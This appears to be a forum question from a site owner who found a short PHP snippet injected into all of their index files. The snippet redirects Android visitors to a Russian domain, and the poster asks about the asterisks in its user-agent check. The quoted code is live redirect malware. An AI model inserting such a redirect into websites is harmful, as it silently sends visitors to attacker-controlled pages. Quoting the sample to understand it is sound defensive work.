I found the following in every index file of my sites on a server I have. It looks like its redirecting all android users to some spooky Russian site.
$ua = $_SERVER['HTTP_USER_AGENT'];
if(stripos("***$ua",'android') !== false){
header("Location: http://andsecurity.ru");
die();
}
My question is: In the stripos function, they add three asterisks in front of the user agent variable, why would they want to do that? What does that do?
***
before$ua
don't seem to actually do anything. I'm not sure why they are added here.